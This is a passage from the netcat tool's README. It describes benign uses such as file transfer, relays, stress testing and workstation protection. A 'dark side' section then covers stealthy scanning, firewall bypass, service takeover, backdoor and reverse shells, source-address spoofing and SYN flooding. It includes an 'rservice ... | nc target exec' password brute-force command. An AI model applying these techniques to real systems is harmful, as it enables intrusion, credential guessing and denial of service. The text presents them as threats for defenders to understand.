||||||
|
typical example of something "rsh" is often used for: on one side,
|
||||||
|
|
||||||
|
nc -l -p 1234 | uncompress -c | tar xvfp -
|
||||||
|
|
||||||
|
and then on the other side
|
||||||
|
|
||||||
|
tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
|
||||||
|
|
||||||
|
will transfer the contents of a directory from one machine to another, without
|
||||||
|
having to worry about .rhosts files, user accounts, or inetd configurations
|
||||||
|
at either end. Again, it matters not which is the listener or receiver; the
|
||||||
|
"tarring" machine could just as easily be running the listener instead. One
|
||||||
|
could conceivably use a scheme like this for backups, by having cron-jobs fire
|
||||||
|
up listeners and backup handlers [which can be restricted to specific addresses
|
||||||
|
and ports between each other] and pipe "dump" or "tar" on one machine to "dd
|
||||||
|
of=/dev/tapedrive" on another as usual. Since netcat returns a nonzero exit
|
||||||
|
status for a denied listener connection, scripts to handle such tasks could
|
||||||
|
easily log and reject connect attempts from third parties, and then retry.
|
||||||
|
|
||||||
|
Another simple data-transfer example: shipping things to a PC that doesn't have
|
||||||
|
any network applications yet except a TCP stack and a web browser. Point the
|
||||||
|
browser at an arbitrary port on a Unix server by telling it to download
|
||||||
|
something like http://unixbox:4444/foo, and have a listener on the Unix side
|
||||||
|
ready to ship out a file when the connect comes in. The browser may pervert
|
||||||
|
binary data when told to save the URL, but you can dig the raw data out of
|
||||||
|
the on-disk cache.
|
||||||
|
|
||||||
|
If you build netcat with GAPING_SECURITY_HOLE defined, you can use it as an
|
||||||
|
"inetd" substitute to test experimental network servers that would otherwise
|
||||||
|
run under "inetd". A script or program will have its input and output hooked
|
||||||
|
to the network the same way, perhaps sans some fancier signal handling. Given
|
||||||
|
that most network services do not bind to a particular local address, whether
|
||||||
|
they are under "inetd" or not, it is possible for netcat avoid the "address
|
||||||
|
already in use" error by binding to a specific address. This lets you [as
|
||||||
|
root, for low ports] place netcat "in the way" of a standard service, since
|
||||||
|
inbound connections are generally sent to such specifically-bound listeners
|
||||||
|
first and fall back to the ones bound to "any". This allows for a one-off
|
||||||
|
experimental simulation of some service, without having to screw around with
|
||||||
|
inetd.conf. Running with -v turned on and collecting a connection log from
|
||||||
|
standard error is recommended.
|
||||||
|
|
||||||
|
Netcat as well can make an outbound connection and then run a program or script
|
||||||
|
on the originating end, with input and output connected to the same network
|
||||||
|
port. This "inverse inetd" capability could enhance the backup-server concept
|
||||||
|
described above or help facilitate things such as a "network dialback" concept.
|
||||||
|
The possibilities are many and varied here; if such things are intended as
|
||||||
|
security mechanisms, it may be best to modify netcat specifically for the
|
||||||
|
purpose instead of wrapping such functions in scripts.
|
||||||
|
|
||||||
|
Speaking of inetd, netcat will function perfectly well *under* inetd as a TCP
|
||||||
|
connection redirector for inbound services, like a "plug-gw" without the
|
||||||
|
authentication step. This is very useful for doing stuff like redirecting
|
||||||
|
traffic through your firewall out to other places like web servers and mail
|
||||||
|
hubs, while posing no risk to the firewall machine itself. Put netcat behind
|
||||||
|
inetd and tcp_wrappers, perhaps thusly:
|
||||||
|
|
||||||
|
www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80
|
||||||
|
|
||||||
|
and you have a simple and effective "application relay" with access control
|
||||||
|
and logging. Note use of the wait time as a "safety" in case realwww isn't
|
||||||
|
reachable or the calling user aborts the connection -- otherwise the relay may
|
||||||
|
hang there forever.
|
||||||
|
|
||||||
|
You can use netcat to generate huge amounts of useless network data for
|
||||||
|
various performance testing. For example, doing
|
||||||
|
|
||||||
|
yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
|
||||||
|
|
||||||
|
on one side and then hitting it with
|
||||||
|
|
||||||
|
yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null
|
||||||
|
|
||||||
|
from another host will saturate your wires with A's and B's. The "very
|
||||||
|
verbose" switch usage will tell you how many of each were sent and received
|
||||||
|
after you interrupt either side. Using UDP mode produces tremendously MORE
|
||||||
|
trash per unit time in the form of fragmented 8 Kbyte mobygrams -- enough to
|
||||||
|
stress-test kernels and network interfaces. Firing random binary data into
|
||||||
|
various network servers may help expose bugs in their input handling, which
|
||||||
|
nowadays is a popular thing to explore. A simple example data-generator is
|
||||||
|
given in data/data.c included in this package, along with a small collection
|
||||||
|
of canned input files to generate various packet contents. This program is
|
||||||
|
documented in its beginning comments, but of interest here is using "%r" to
|
||||||
|
generate random bytes at well-chosen points in a data stream. If you can
|
||||||
|
crash your daemon, you likely have a security problem.
|
||||||
|
|
||||||
|
The hex dump feature may be useful for debugging odd network protocols,
|
||||||
|
especially if you don't have any network monitoring equipment handy or aren't
|
||||||
|
root where you'd need to run "tcpdump" or something. Bind a listening netcat
|
||||||
|
to a local port, and have it run a script which in turn runs another netcat
|
||||||
|
to the real service and captures the hex dump to a log file. This sets up a
|
||||||
|
transparent relay between your local port and wherever the real service is.
|
||||||
|
Be sure that the script-run netcat does *not* use -v, or the extra info it
|
||||||
|
sends to standard error may confuse the protocol. Note also that you cannot
|
||||||
|
have the "listen/exec" netcat do the data capture, since once the connection
|
||||||
|
arrives it is no longer netcat that is running.
|
||||||
|
|
||||||
|
Binding to an arbitrary local port allows you to simulate things like r-service
|
||||||
|
clients, if you are root locally. For example, feeding "^@root^@joe^@pwd^@"
|
||||||
|
[where ^@ is a null, and root/joe could be any other local/remote username
|
||||||
|
pair] into a "rsh" or "rlogin" server, FROM your port 1023 for example,
|
||||||
|
duplicates what the server expects to receive. Thus, you can test for insecure
|
||||||
|
.rhosts files around your network without having to create new user accounts on
|
||||||
|
your client machine. The program data/rservice.c can aid this process by
|
||||||
|
constructing the "rcmd" protocol bytes. Doing this also prevents "rshd" from
|
||||||
|
trying to create that separate standard-error socket and still gives you an
|
||||||
|
input path, as opposed to the usual action of "rsh -n". Using netcat for
|
||||||
|
things like this can be really useful sometimes, because rsh and rlogin
|
||||||
|
generally want a host *name* as an argument and won't accept IP addresses. If
|
||||||
|
your client-end DNS is hosed, as may be true when you're trying to extract
|
||||||
|
backup sets on to a dumb client, "netcat -n" wins where normal rsh/rlogin is
|
||||||
|
useless.
|
||||||
|
|
||||||
|
If you are unsure that a remote syslogger is working, test it with netcat.
|
||||||
|
Make a UDP connection to port 514 and type in "<0>message", which should
|
||||||
|
correspond to "kern.emerg" and cause syslogd to scream into every file it has
|
||||||
|
open [and possibly all over users' terminals]. You can tame this down by
|
||||||
|
using a different number and use netcat inside routine scripts to send syslog
|
||||||
|
messages to places that aren't configured in syslog.conf. For example,
|
||||||
|
"echo '<38>message' | nc -w 1 -u loggerhost 514" should send to auth.notice
|
||||||
|
on loggerhost. The exact number may vary; check against your syslog.h first.
|
||||||
|
|
||||||
|
Netcat provides several ways for you to test your own packet filters. If you
|
||||||
|
bind to a port normally protected against outside access and make a connection
|
||||||
|
to somewhere outside your own network, the return traffic will be coming to
|
||||||
|
your chosen port from the "outside" and should be blocked. TCP may get through
|
||||||
|
if your filter passes all "ack syn", but it shouldn't be even doing that to low
|
||||||
|
ports on your network. Remember to test with UDP traffic as well! If your
|
||||||
|
filter passes at least outbound source-routed IP packets, bouncing a connection
|
||||||
|
back to yourself via some gateway outside your network will create "incoming"
|
||||||
|
traffic with your source address, which should get dropped by a correctly
|
||||||
|
configured anti-spoofing filter. This is a "non-test" if you're also dropping
|
||||||
|
source-routing, but it's good to be able to test for that too. Any packet
|
||||||
|
filter worth its salt will be blocking source-routed packets in both
|
||||||
|
directions, but you never know what interesting quirks you might turn up by
|
||||||
|
playing around with source ports and addresses and watching the wires with a
|
||||||
|
network monitor.
|
||||||
|
|
||||||
|
You can use netcat to protect your own workstation's X server against outside
|
||||||
|
access. X is stupid enough to listen for connections on "any" and never tell
|
||||||
|
you when new connections arrive, which is one reason it is so vulnerable. Once
|
||||||
|
you have all your various X windows up and running you can use netcat to bind
|
||||||
|
just to your ethernet address and listen to port 6000. Any new connections
|
||||||
|
from outside the machine will hit netcat instead your X server, and you get a
|
||||||
|
log of who's trying. You can either tell netcat to drop the connection, or
|
||||||
|
perhaps run another copy of itself to relay to your actual X server on
|
||||||
|
"localhost". This may not work for dedicated X terminals, but it may be
|
||||||
|
possible to authorize your X terminal only for its boot server, and run a relay
|
||||||
|
netcat over on the server that will in turn talk to your X terminal. Since
|
||||||
|
netcat only handles one listening connection per run, make sure that whatever
|
||||||
|
way you rig it causes another one to run and listen on 6000 soon afterward, or
|
||||||
|
your real X server will be reachable once again. A very minimal script just
|
||||||
|
to protect yourself could be
|
||||||
|
|
||||||
|
while true ; do
|
||||||
|
nc -v -l -s <your-addr> -p 6000 localhost 2
|
||||||
|
done
|
||||||
|
|
||||||
|
which causes netcat to accept and then close any inbound connection to your
|
||||||
|
workstation's normal ethernet address, and another copy is immediately run by
|
||||||
|
the script. Send standard error to a file for a log of connection attempts.
|
||||||
|
If your system can't do the "specific bind" thing all is not lost; run your
|
||||||
|
X server on display ":1" or port 6001, and netcat can still function as a probe
|
||||||
|
alarm by listening on 6000.
|
||||||
|
|
||||||
|
Does your shell-account provider allow personal Web pages, but not CGI scripts?
|
||||||
|
You can have netcat listen on a particular port to execute a program or script
|
||||||
|
of your choosing, and then just point to the port with a URL in your homepage.
|
||||||
|
The listener could even exist on a completely different machine, avoiding the
|
||||||
|
potential ire of the homepage-host administrators. Since the script will get
|
||||||
|
the raw browser query as input it won't look like a typical CGI script, and
|
||||||
|
since it's running under your UID you need to write it carefully. You may want
|
||||||
|
to write a netcat-based script as a wrapper that reads a query and sets up
|
||||||
|
environment variables for a regular CGI script. The possibilities for using
|
||||||
|
netcat and scripts to handle Web stuff are almost endless. Again, see the
|
||||||
|
examples under scripts/.
|
||||||
|
|
||||||
|
Example uses -- the dark side
|
||||||
|
=============================
|
||||||
|
|
||||||
|
Equal time is deserved here, since a versatile tool like this can be useful
|
||||||
|
to any Shade of Hat. I could use my Victorinox to either fix your car or
|
||||||
|
disassemble it, right? You can clearly use something like netcat to attack
|
||||||
|
or defend -- I don't try to govern anyone's social outlook, I just build tools.
|
||||||
|
Regardless of your intentions, you should still be aware of these threats to
|
||||||
|
your own systems.
|
||||||
|
|
||||||
|
The first obvious thing is scanning someone *else's* network for vulnerable
|
||||||
|
services. Files containing preconstructed data, be it exploratory or
|
||||||
|
exploitive, can be fed in as standard input, including command-line arguments
|
||||||
|
to netcat itself to keep "ps" ignorant of your doings. The more random the
|
||||||
|
scanning, the less likelihood of detection by humans, scan-detectors, or
|
||||||
|
dynamic filtering, and with -i you'll wait longer but avoid loading down the
|
||||||
|
target's network. Some examples for crafting various standard UDP probes are
|
||||||
|
given in data/*.d.
|
||||||
|
|
||||||
|
Some configurations of packet filters attempt to solve the FTP-data problem by
|
||||||
|
just allowing such connections from the outside. These come FROM port 20, TO
|
||||||
|
high TCP ports inside -- if you locally bind to port 20, you may find yourself
|
||||||
|
able to bypass filtering in some cases. Maybe not to low ports "inside", but
|
||||||
|
perhaps to TCP NFS servers, X servers, Prospero, ciscos that listen on 200x
|
||||||
|
and 400x... Similar bypassing may be possible for UDP [and maybe TCP too] if a
|
||||||
|
connection comes from port 53; a filter may assume it's a nameserver response.
|
||||||
|
|
||||||
|
Using -e in conjunction with binding to a specific address can enable "server
|
||||||
|
takeover" by getting in ahead of the real ones, whereupon you can snarf data
|
||||||
|
sent in and feed your own back out. At the very least you can log a hex dump
|
||||||
|
of someone else's session. If you are root, you can certainly use -s and -e to
|
||||||
|
run various hacked daemons without having to touch inetd.conf or the real
|
||||||
|
daemons themselves. You may not always have the root access to deal with low
|
||||||
|
ports, but what if you are on a machine that also happens to be an NFS server?
|
||||||
|
You might be able to collect some interesting things from port 2049, including
|
||||||
|
local file handles. There are several other servers that run on high ports
|
||||||
|
that are likely candidates for takeover, including many of the RPC services on
|
||||||
|
some platforms [yppasswdd, anyone?]. Kerberos tickets, X cookies, and IRC
|
||||||
|
traffic also come to mind. RADIUS-based terminal servers connect incoming
|
||||||
|
users to shell-account machines on a high port, usually 1642 or thereabouts.
|
||||||
|
SOCKS servers run on 1080. Do "netstat -a" and get creative.
|
||||||
|
|
||||||
|
There are some daemons that are well-written enough to bind separately to all
|
||||||
|
the local interfaces, possibly with an eye toward heading off this sort of
|
||||||
|
problem. Named from recent BIND releases, and NTP, are two that come to mind.
|
||||||
|
Netstat will show these listening on address.53 instead of *.53. You won't
|
||||||
|
be able to get in front of these on any of the real interface addresses, which
|
||||||
|
of course is especially interesting in the case of named, but these servers
|
||||||
|
sometimes forget about things like "alias" interface addresses or interfaces
|
||||||
|
that appear later on such as dynamic PPP links. There are some hacked web
|
||||||
|
servers and versions of "inetd" floating around that specifically bind as well,
|
||||||
|
based on a configuration file -- these generally *are* bound to alias addresses
|
||||||
|
to offer several different address-based services from one machine.
|
||||||
|
|
||||||
|
Using -e to start a remote backdoor shell is another obvious sort of thing,
|
||||||
|
easier than constructing a file for inetd to listen on "ingreslock" or
|
||||||
|
something, and you can access-control it against other people by specifying a
|
||||||
|
client host and port. Experience with this truly demonstrates how fragile the
|
||||||
|
barrier between being "logged in" or not really is, and is further expressed by
|
||||||
|
scripts/bsh. If you're already behind a firewall, it may be easier to make an
|
||||||
|
*outbound* connection and then run a shell; a small wrapper script can
|
||||||
|
periodically try connecting to a known place and port, you can later listen
|
||||||
|
there until the inbound connection arrives, and there's your shell. Running
|
||||||
|
a shell via UDP has several interesting features, although be aware that once
|
||||||
|
"connected", the UDP stub sockets tend to show up in "netstat" just like TCP
|
||||||
|
connections and may not be quite as subtle as you wanted. Packets may also be
|
||||||
|
lost, so use TCP if you need reliable connections. But since UDP is
|
||||||
|
connectionless, a hookup of this sort will stick around almost forever, even if
|
||||||
|
you ^C out of netcat or do a reboot on your side, and you only need to remember
|
||||||
|
the ports you used on both ends to reestablish. And outbound UDP-plus-exec
|
||||||
|
connection creates the connected socket and starts the program immediately. On
|
||||||
|
a listening UDP connection, the socket is created once a first packet is
|
||||||
|
received. In either case, though, such a "connection" has the interesting side
|
||||||
|
effect that only your client-side IP address and [chosen?] source port will
|
||||||
|
thereafter be able to talk to it. Instant access control! A non-local third
|
||||||
|
party would have to do ALL of the following to take over such a session:
|
||||||
|
|
||||||
|
forge UDP with your source address [trivial to do; see below]
|
||||||
|
guess the port numbers of BOTH ends, or sniff the wire for them
|
||||||
|
arrange to block ICMP or UDP return traffic between it and your real
|
||||||
|
source, so the session doesn't die with a network write error.
|
||||||
|
|
||||||
|
The companion program data/rservice.c is helpful in scripting up any sort of
|
||||||
|
r-service username or password guessing attack. The arguments to "rservice"
|
||||||
|
are simply the strings that get null-terminated and passed over an "rcmd"-style
|
||||||
|
connection, with the assumption that the client does not need a separate
|
||||||
|
standard-error port. Brute-force password banging is best done via "rexec" if
|
||||||
|
it is available since it is less likely to log failed attempts. Thus, doing
|
||||||
|
"rservice joe joespass pwd | nc target exec" should return joe's home dir if
|
||||||
|
the password is right, or "Permission denied." Plug in a dictionary and go to
|
||||||
|
town. If you're attacking rsh/rlogin, remember to be root and bind to a port
|
||||||
|
between 512 and 1023 on your end, and pipe in "rservice joe joe pwd" and such.
|
||||||
|
|
||||||
|
Netcat can prevent inadvertently sending extra information over a telnet
|
||||||
|
connection. Use "nc -t" in place of telnet, and daemons that try to ask for
|
||||||
|
things like USER and TERM environment variables will get no useful answers, as
|
||||||
|
they otherwise would from a more recent telnet program. Some telnetds actually
|
||||||
|
try to collect this stuff and then plug the USER variable into "login" so that
|
||||||
|
the caller is then just asked for a password! This mechanism could cause a
|
||||||
|
login attempt as YOUR real username to be logged over there if you use a
|
||||||
|
Borman-based telnet instead of "nc -t".
|
||||||
|
|
||||||
|
Got an unused network interface configured in your kernel [e.g. SLIP], or
|
||||||
|
support for alias addresses? Ifconfig one to be any address you like, and bind
|
||||||
|
to it with -s to enable all sorts of shenanigans with bogus source addresses.
|
||||||
|
The interface probably has to be UP before this works; some SLIP versions
|
||||||
|
need a far-end address before this is true. Hammering on UDP services is then
|
||||||
|
a no-brainer. What you can do to an unfiltered syslog daemon should be fairly
|
||||||
|
obvious; trimming the conf file can help protect against it. Many routers out
|
||||||
|
there still blindly believe what they receive via RIP and other routing
|
||||||
|
protocols. Although most UDP echo and chargen servers check if an incoming
|
||||||
|
packet was sent from *another* "internal" UDP server, there are many that still
|
||||||
|
do not, any two of which [or many, for that matter] could keep each other
|
||||||
|
entertained for hours at the expense of bandwidth. And you can always make
|
||||||
|
someone wonder why she's being probed by nsa.gov.
|
||||||
|
|
||||||
|
Your TCP spoofing possibilities are mostly limited to destinations you can
|
||||||
|
source-route to while locally bound to your phony address. Many sites block
|
||||||
|
source-routed packets these days for precisely this reason. If your kernel
|
||||||
|
does oddball things when sending source-routed packets, try moving the pointer
|
||||||
|
around with -G. You may also have to fiddle with the routing on your own
|
||||||
|
machine before you start receiving packets back. Warning: some machines still
|
||||||
|
send out traffic using the source address of the outbound interface, regardless
|
||||||
|
of your binding, especially in the case of localhost. Check first. If you can
|
||||||
|
open a connection but then get no data back from it, the target host is
|
||||||
|
probably killing the IP options on its end [this is an option inside TCP
|
||||||
|
wrappers and several other packages], which happens after the 3-way handshake
|
||||||
|
is completed. If you send some data and observe the "send-q" side of "netstat"
|
||||||
|
for that connection increasing but never getting sent, that's another symptom.
|
||||||
|
Beware: if Sendmail 8.7.x detects a source-routed SMTP connection, it extracts
|
||||||
|
the hop list and sticks it in the Received: header!
|
||||||
|
|
||||||
|
SYN bombing [sometimes called "hosing"] can disable many TCP servers, and if
|
||||||
|
you hit one often enough, you can keep it unreachable for days. As is true of
|
||||||
|
many other denial-of-service attacks, there is currently no defense against it
|
||||||
|
except maybe at the human level. Making kernel SOMAXCONN considerably larger
|
||||||
|
than the default and the half-open timeout smaller can help, and indeed some
|
||||||
|
people running large high-performance web servers have *had* to do that just to
|
||||||
|
handle normal traffic. Taking out mailers and web servers is sociopathic, but
|
||||||
|
on the other hand it is sometimes useful to be able to, say, disable a site's
|
||||||
|
identd daemon for a few minutes. If someone realizes what is going on,
|
||||||
|
backtracing will still be difficult since the packets have a phony source
|
||||||
|
address, but calls to enough ISP NOCs might eventually pinpoint the source.
|
||||||
|
It is also trivial for a clueful ISP to watch for or even block outgoing
|
||||||
|
packets with obviously fake source addresses, but as we know many of them are
|
||||||
|
not clueful or willing to get involved in such hassles. Besides, outbound
|
||||||
|
packets with an [otherwise unreachable] source address in one of their net
|
||||||
|
blocks would look fairly legitimate.
|
||||||
|
|
||||||
|
Notes
|
||||||
|
=====
|
||||||
|
|
||||||
|
A discussion of various caveats, subtleties, and the design of the innards.
|
||||||
|
|
||||||
|
As of version 1.07 you can construct a single file containing command arguments
|
||||||
|
and then some data to transfer. Netcat is now smart enough to pick out the
|
||||||
|
first line and build the argument list, and send any remaining data across the
|
||||||
|
net to one or multiple ports. The first release of netcat had trouble with
|
||||||
|
this -- it called fgets() for the command line argument, which behind the
|
||||||
|
scenes does a large read() from standard input, perhaps 4096 bytes or so, and
|
||||||
|
feeds that out to the fgets() library routine. By the time netcat 1.00 started
|
||||||
|
directly read()ing stdin for more data, 4096 bytes of it were gone. It now
|
||||||
|
uses raw read() everywhere and does the right thing whether reading from files,
|
||||||
|
pipes, or ttys. If you use this for multiple-port connections, the single
|
||||||
|
block of data will now be a maximum of 8K minus the first line. Improvements
|
||||||
|
have been made to the logic in sending the saved chunk to each new port. Note
|
||||||
|
that any command-line arguments hidden using this mechanism could still be
|
||||||
|
extracted from a core dump.
|
||||||
|
|
||||||
|
When netcat receives an inbound UDP connection, it creates a "connected socket"
|
||||||
|
back to the source of the connection so that it can also send out data using
|
||||||
|
normal write(). Using this mechanism instead of recvfrom/sendto has several
|
||||||
|
advantages -- the read/write select loop is simplified, and ICMP errors can in
|
||||||
|
effect be received by non-root users. However, it has the subtle side effect
|
||||||
|
that if further UDP packets arrive from the caller but from different source
|
||||||
|
ports, the listener will not receive them. UDP listen mode on a multihomed
|
||||||
|
machine may have similar quirks unless you specifically bind to one of its
|
||||||
|
addresses. It is not clear that kernel support for UDP connected sockets
|
||||||
|
and/or my understanding of it is entirely complete here, so experiment...
|
||||||
|
|
||||||
|
You should be aware of some subtleties concerning UDP scanning. If -z is on,
|
||||||
|
netcat attempts to send a single null byte to the target port, twice, with a
|
||||||
|
small time in between. You can either use the -w timeout, or netcat will try
|
||||||
|
to make a "sideline" TCP connection to the target to introduce a small time
|
||||||
|
delay equal to the round-trip time between you and the target. Note that if
|
||||||
|
you have a -w timeout and -i timeout set, BOTH take effect and you wait twice
|
||||||
|
as long. The TCP connection is to a normally refused port to minimize traffic,
|
||||||
|
but if you notice a UDP fast-scan taking somewhat longer than it should, it
|
||||||
|
could be that the target is actually listening on the TCP port. Either way,
|
||||||
|
any ICMP port-unreachable messages from the target should have arrived in the
|
||||||
|
meantime. The second single-byte UDP probe is then sent. Under BSD kernels,
|
||||||
|
the ICMP error is delivered to the "connected socket" and the second write
|
||||||
|
returns an error, which tells netcat that there is NOT a UDP service there.
|
||||||
|
While Linux seems to be a fortunate exception, under many SYSV derived kernels
|
||||||
|
the ICMP is not delivered, and netcat starts reporting that *all* the ports are
|
||||||
|
"open" -- clearly wrong. [Some systems may not even *have* the "udp connected
|
||||||
|
socket" concept, and netcat in its current form will not work for UDP at all.]
|
||||||
|
If -z is specified and only one UDP port is probed, netcat's exit status
|
||||||
|
reflects whether the connection was "open" or "refused" as with TCP.
|
||||||
|
|
||||||
|
It may also be that UDP packets are being blocked by filters with no ICMP error
|
||||||
|
returns, in which case everything will time out and return "open". This all
|
||||||
|
sounds backwards, but that's how UDP works. If you're not sure, try "echo
|
||||||
|
w00gumz | nc -u -w 2 target 7" to see if you can reach its UDP echo port at
|
||||||
|
all. You should have no trouble using a BSD-flavor system to scan for UDP
|
||||||
|
around your own network, although flooding a target with the high activity that
|
||||||
|
-z generates will cause it to occasionally drop packets and indicate false
|
||||||
|
"opens". A more "correct" way to do this is collect and analyze the ICMP
|
||||||
|
errors, as does SATAN's "udp_scan" backend, but then again there's no guarantee
|
||||||
|
that the ICMP gets back to you either. Udp_scan also does the zero-byte
|
||||||
|
probes but is excruciatingly careful to calculate its own round-trip timing
|
||||||
|
average and dynamically set its own response timeouts along with decoding any
|
||||||
|
ICMP received. Netcat uses a much sleazier method which is nonetheless quite
|
||||||
|
effective. Cisco routers are known to have a "dead time" in between ICMP
|
||||||
|
responses about unreachable UDP ports, so a fast scan of a cisco will show
|
||||||
|
almost everything "open". If you are looking for a specific UDP service, you
|
||||||
|
can construct a file containing the right bytes to trigger a response from the
|
||||||
|
other end and send that as standard input. Netcat will read up to 8K of the
|
||||||
|
file and send the same data to every UDP port given. Note that you must use a
|
||||||
|
timeout in this case [as would any other UDP client application] since the
|
||||||
|
two-write probe only happens if -z is specified.
|
||||||
|
|
||||||
|
Many telnet servers insist on a specific set of option negotiations before
|
||||||
|
presenting a login banner. On a raw connection you will see this as small
|
||||||
|
amount of binary gook. My attempts to create fixed input bytes to make a
|
||||||
|
telnetd happy worked some places but failed against newer BSD-flavor ones,
|
||||||
|
possibly due to timing problems, but there are a couple of much better
|
||||||
|
workarounds. First, compile with -DTELNET and use -t if you just want to get
|
||||||
|
past the option negotiation and talk to something on a telnet port. You will
|
||||||
|
still see the binary gook -- in fact you'll see a lot more of it as the options
|
||||||
|
are responded to behind the scenes. The telnet responder does NOT update the
|
||||||
|
total byte count, or show up in the hex dump -- it just responds negatively to
|
||||||
|
any options read from the incoming data stream. If you want to use a normal
|
||||||
|
full-blown telnet to get to something but also want some of netcat's features
|
||||||
|
involved like settable ports or timeouts, construct a tiny "foo" script:
|
||||||
|
|
||||||
|
#! /bin/sh
|
||||||
|
exec nc -otheroptions targethost 23
|
||||||
|
|
||||||
|
and then do
|
||||||
|
|
||||||
|
nc -l -p someport -e foo localhost &
|
||||||
|
telnet localhost someport
|
||||||
|
|
||||||
|
and your telnet should connect transparently through the exec'ed netcat to
|
||||||
|
the target, using whatever options you supplied in the "foo" script. Don't
|
||||||
|
use -t inside the script, or you'll wind up sending *two* option responses.
|
||||||
|
|
||||||
|
I've observed inconsistent behavior under some Linuxes [perhaps just older
|
||||||
|
ones?] when binding in listen mode. Sometimes netcat binds only to "localhost"
|
||||||
|
if invoked with no address or port arguments, and sometimes it is unable to
|
||||||
|
bind to a specific address for listening if something else is already listening
|
||||||
|
on "any". The former problem can be worked around by specifying "-s 0.0.0.0",
|
||||||
|
which will do the right thing despite netcat claiming that it's listening on
|
||||||
|
[127.0.0.1]. This is a known problem -- for example, there's a mention of it
|
||||||
|
in the makefile for SOCKS. On the flip side, binding to localhost and sending
|
||||||
|
packets to some other machine doesn't work as you'd expect -- they go out with
|
||||||
|
the source address of the sending interface instead. The Linux kernel contains
|
||||||
|
a specific check to ensure that packets from 127.0.0.1 are never sent to the
|
||||||
|
wire; other kernels may contain similar code. Linux, of course, *still*
|
||||||
|
doesn't support source-routing, but they claim that it and many other network
|
||||||
|
improvements are at least breathing hard.
|
||||||
|
|
||||||
|
There are several possible errors associated with making TCP connections, but
|
||||||
|
to specifically see anything other than "refused", one must wait the full
|
||||||
|
kernel-defined timeout for a connection to fail. Netcat's mechanism of
|
||||||
|
wrapping an alarm timer around the connect prevents the *real* network error
|
||||||
|
from being returned -- "errno" at that point indicates "interrupted system
|
||||||
|
call" since the connect attempt was interrupted. Some old 4.3 BSD kernels
|
||||||
|
would actually return things like "host unreachable" immediately if that was
|
||||||
|
the case, but most newer kernels seem to wait the full timeout and *then* pass
|
||||||
|
back the real error. Go figure. In this case, I'd argue that the old way was
|
||||||
|
better, despite those same kernels generally being the ones that tear down
|
||||||
|
*established* TCP connections when ICMP-bombed.
|
||||||
|
|
||||||
|
Incoming socket options are passed to applications by the kernel in the
|
||||||
|
kernel's own internal format. The socket-options structure for source-routing
|
||||||
|
contains the "first-hop" IP address first, followed by the rest of the real
|
||||||
|
options list. The kernel uses this as is when sending reply packets -- the
|
||||||
|
structure is therefore designed to be more useful to the kernel than to humans,
|
||||||
|
but the hex dump of it that netcat produces is still useful to have.
|
||||||
|
|
||||||
|
Kernels treat source-routing options somewhat oddly, but it sort of makes sense
|
||||||
|
once one understands what's going on internally. The options list of addresses
|
||||||
|
must contain hop1, hop2, ..., destination. When a source-routed packet is sent
|
||||||
|
by the kernel [at least BSD], the actual destination address becomes irrelevant
|
||||||
|
because it is replaced with "hop1", "hop1" is removed from the options list,
|
||||||
|
and all the other addresses in the list are shifted up to fill the hole. Thus
|
||||||
|
the outbound packet is sent from your chosen source address to the first
|
||||||
|
*gateway*, and the options list now contains hop2, ..., destination. During
|
||||||
|
all this address shuffling, the kernel does NOT change the pointer value, which
|
||||||
|
is why it is useful to be able to set the pointer yourself -- you can construct
|
||||||
|
some really bizarre return paths, and send your traffic fairly directly to the
|
||||||
|
target but around some larger loop on the way back. Some Sun kernels seem to
|
||||||
|
never flip the source-route around if it contains less than three hops, never
|
||||||
|
reset the pointer anyway, and tries to send the packet [with options containing
|
||||||
|
a "completed" source route!!] directly back to the source. This is way broken,
|
||||||
|
of course. [Maybe ipforwarding has to be on? I haven't had an opportunity to
|
||||||
|
beat on it thoroughly yet.]
|
||||||
|
|
||||||
|
"Credits" section: The original idea for netcat fell out of a long-standing
|
||||||
|
desire and fruitless search for a tool resembling it and having the same
|
||||||
|
features. After reading some other network code and realizing just how many
|
||||||
|
cool things about sockets could be controlled by the calling user, I started
|
||||||
|
on the basics and the rest fell together pretty quickly. Some port-scanning
|
||||||
|
ideas were taken from Venema/Farmer's SATAN tool kit, and Pluvius' "pscan"
|
||||||
|
utility. Healthy amounts of BSD kernel source were perused in an attempt to
|
||||||
|
dope out socket options and source-route handling; additional help was obtained
|
||||||
|
from Dave Borman's telnet sources. The select loop is loosely based on fairly
|
||||||
|
well-known code from "rsh" and Richard Stevens' "sock" program [which itself is
|
||||||
|
sort of a "netcat" with more obscure features], with some more paranoid
|
||||||
|
sanity-checking thrown in to guard against the distinct likelihood that there
|
||||||
|
are subtleties about such things I still don't understand. I found the
|
||||||
|
argument-hiding method cleanly implemented in Barrett's "deslogin"; reading the
|
||||||
|
line as input allows greater versatility and is much less prone to cause
|
||||||
|
bizarre problems than the more common trick of overwriting the argv array.
|
||||||
|
After the first release, several people contributed portability fixes; they are
|
||||||
|
credited in generic.h and the Makefile. Lauren Burka inspired the ascii art
|
||||||
|
for this revised document. Dean Gaudet at Wired supplied a precursor to
|
||||||
|
the hex-dump code, and mudge@l0pht.com originally experimented with and
|
||||||
|
supplied code for the telnet-options responder. Outbound "-e <prog>" resulted
|
||||||
|
from a need to quietly bypass a firewall installation. Other suggestions and
|
||||||
|
patches have rolled in for which I am always grateful, but there are only 26
|
||||||
|
hours per day and a discussion of feature creep near the end of this document.
|
||||||
|
|
||||||
|
Netcat was written with the Russian railroad in mind -- conservatively built
|
||||||
|
and solid, but it *will* get you there. While the coding style is fairly
|
||||||
|
"tight", I have attempted to present it cleanly [keeping *my* lines under 80
|
||||||
|
characters, dammit] and put in plenty of comments as to why certain things
|
||||||
|
are done. Items I know to be questionable are clearly marked with "XXX".
|
||||||
|
Source code was made to be modified, but determining where to start is
|
||||||
|
difficult with some of the tangles of spaghetti code that are out there.
|
||||||
|
Here are some of the major points I feel are worth mentioning about netcat's
|
||||||
|
internal design, whether or not you agree with my approach.
|
||||||
|
|
||||||
|
Except for generic.h, which changes to adapt more platforms, netcat is a single
|
||||||
|
source file. This has the distinct advantage of only having to include headers
|
||||||
|
once and not having to re-declare all my functions in a billion different
|
||||||
|
places. I have attempted to contain all the gross who's-got-what-.h-file
|
||||||
|
things in one small dumping ground. Functions are placed "dependencies-first",
|
||||||
|
such that when the compiler runs into the calls later, it already knows the
|
||||||
|
type and arguments and won't complain. No function prototyping -- not even the
|
||||||
|
__P(()) crock -- is used, since it is more portable and a file of this size is
|
||||||
|
